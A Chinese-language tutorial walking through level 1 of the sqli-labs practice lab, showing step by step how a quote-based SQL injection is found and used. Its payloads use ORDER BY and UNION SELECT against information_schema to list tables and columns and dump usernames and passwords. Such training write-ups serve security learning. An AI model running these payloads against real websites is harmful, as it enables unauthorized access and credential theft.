Sql-labs 第一关超详细讲解
一.Sql注入含义
所谓的sql注入就是通过某种方式将恶意的sql代码添加到输入参数中,然后传递到sql服务器使其解析并执行的一种攻击手法。
二.注入思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定回显位置
4.获取当前数据库
5.获取数据库中的表
6.获取表中的列名
7.得到数据
三.判断是否存在注入点
1.数字型
输入and 1=1与and 1=2 回显正常,所以该地方不是数字型;
2.字符型
在id=1后面加个'(单引号),回显出错,可能存在字符型。
输入-- (--空格)将后面的语句注释掉以后,回显正常,表示存在单引号注入。
(PS:我在这输入--+注释后面语句,会报错,大概意思:错误在你的SQL语法,检查与你的MySQL服务器版本相对应的手册)
4.猜解SQL查询语句中的字段数
使用order by 语句判断,该表中一共有几列数据,order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。
id=1' order by 3 --
5.确定回显位置
将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。
发现页面先输出了2和3,说明页面有2个显示位 。
6.获取当前数据库
union select 1,2,database() --
得到数据库:security
7.获取数据库中的表
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--
得到security的所有表:emails,referers,uagents,users
8.获取列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'-- (不加and table_name='users'会显示所有表的列名,不利于查找我们想要的列名)
得到users列名:id,username,password;
9.得到数据
第一种方法
union select 1,username,password from users limit 0,1 --
union select 1,username,password from users limit 0,1-- (这里采用limit 0,1,因为用group_concat()一次爆出多条数据,不方便我们查看相对应的用户名和密码,自己对比一下就知道了)
得到数据:Dumb ,Dumb
第二种方法
union select 1,2,group_concat(username,0x3a,password) from users --
0x是十六进制标志,3a在ASCII码中表示为“:”,用以分隔username和password
10.补充小知识,方便理解sql语句
information_schema:表示所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库的名称
table_name:表名
column_name:列名
group_concat():显示所有查询到的数据
Sql-labs 第一关超详细讲解相关推荐
- Python的零基础超详细讲解(第七天)-Python的数据的应用
往期文章 Python的零基础超详细讲解(第一天)-Python简介以及下载_编程简单学的博客-CSDN博客 Python的零基础超详细讲解(第二天)-Python的基础语法1_编程简单学的博客-CS ...
- mybatis-plus超详细讲解
(6条消息) mybatis-plus超详细讲解_zdsg45的博客-CSDN博客_mybatis-plushttps://blog.csdn.net/zdsg45/article/details/1 ...
- 生存曲线 p值 python_超详细讲解生信SCI中的生存曲线作图,不看后悔系列
原标题:超详细讲解生信SCI中的生存曲线作图,不看后悔系列 在线及个性化精美Kaplan-Meier生存曲线的绘制 大家好,我是阿琛.俗话说,是骡子是马拉出来溜溜.在肿瘤研究中,一个基因的研究价值高不 ...
- Python的零基础超详细讲解(第十三天)-Python的类与对象
基础篇往期文章如下: Python的零基础超详细讲解(第一天)-Python简介以及下载 Python的零基础超详细讲解(第二天)-Python的基础语法1 Python的零基础超详细讲解(第三天)- ...
- Python的零基础超详细讲解(第十二天)-Python函数及使用
基础篇往期文章: Python的零基础超详细讲解(第一天)-Python简介以及下载_编程简单学的博客-CSDN博客 Python的零基础超详细讲解(第二天)-Python的基础语法1_编程简单学的博 ...
- Python的零基础超详细讲解(第五天)-Python的运算符
往期文章 Python的零基础超详细讲解(第一天)-Python简介以及下载_编程简单学的博客-CSDN博客 Python的零基础超详细讲解(第二天)-Python的基础语法1_编程简单学的博客-CS ...
- python高级语法装饰器_Python高级编程——装饰器Decorator超详细讲解上
Python高级编程--装饰器Decorator超详细讲解(上篇) 送你小心心记得关注我哦!! 进入正文 全文摘要 装饰器decorator,是python语言的重要特性,我们平时都会遇到,无论是面向 ...
- Java基础18-String类【String类的特点对象个数常用方法】【超详细讲解】
Java基础-String类[超详细讲解] String类的特点 String在java.lang.String包中 1:特点 (1)String类型不能被继承,因为由final修饰 (2)Strin ...
- react的超详细讲解
create-react-app 项目目录 在HTML中使用react 1 2 3基础 React的注意事项 模拟的React 和 render React组件 函数组件 类组件 React 的数据源 ...
最新文章
- python2升级_把Python2.6升级到Python2.7(适用于把Python2升级到Python3)
- 中科元素精准饮食 功能性农业-李喜贵:电视荧屏广州地铁线展示
- 页面布局_word页面布局
- 『电子书』分享一波码农必备编程开发类书籍[转]
- Centos7下zabbix部署(四)定义报警媒介-邮件
- java查询数据库数据放到Excel下载
- AddHandler php5-script .php\AddType text/html .php和AddType application/x-httpd-php .php的区别?...
- 专栏全年主题合辑-代码中文命名相关实践 2018-11-10
- c语言悔棋用栈,中国象棋人机博弈程序(扁平化棋局) C语言实现
- 盖世无双之国产数据库风云榜-2022年02月
- Android 运行时权限检测流程,申请危险权限组权限代码
- 暗黑破坏神3 夺魂之镰曝光“威斯特玛”城背景
- 岁月的剪影【四月尘土飞扬】
- Java HashMap面试须知
- 飞机大战之一:让背景先动起来
- IDEA中插件加载不出来问题解决
- matlab cond含糊,入坑MATLAB必会的吐血总结
- google的GCM推送使用简介
- [ XJTUSE ]JAVA语言基础知识——7.12 JTable实现表格
- 三星手机如何分屏_三星安卓手机如何刷机 三星安卓手机刷机通用方法介绍【图文教程】...
热门文章
- winform的Textbox设置只读之后使用ForeColor更改颜色
- ECSHOP和SHOPEX快递单号查询韵达插件V8.6专版
- ArcMap:选择一个可编辑的要素进行修改
- 中国产品?中国制造……可能骗你一辈子的“国货”
- python代码如何做成应用程序_Python的源代码如何转成可以执行的应用程序?
- 2008日志清理 server sql_sql2008数据库日志清理
- 5G工业智能网关行业应用
- 贵州省职称计算机要求,2020年贵州省工程师中高级职称评定申报要求及评审报名条件...
- 杰理之poweroff【篇】
- 计算机考证考点(合肥)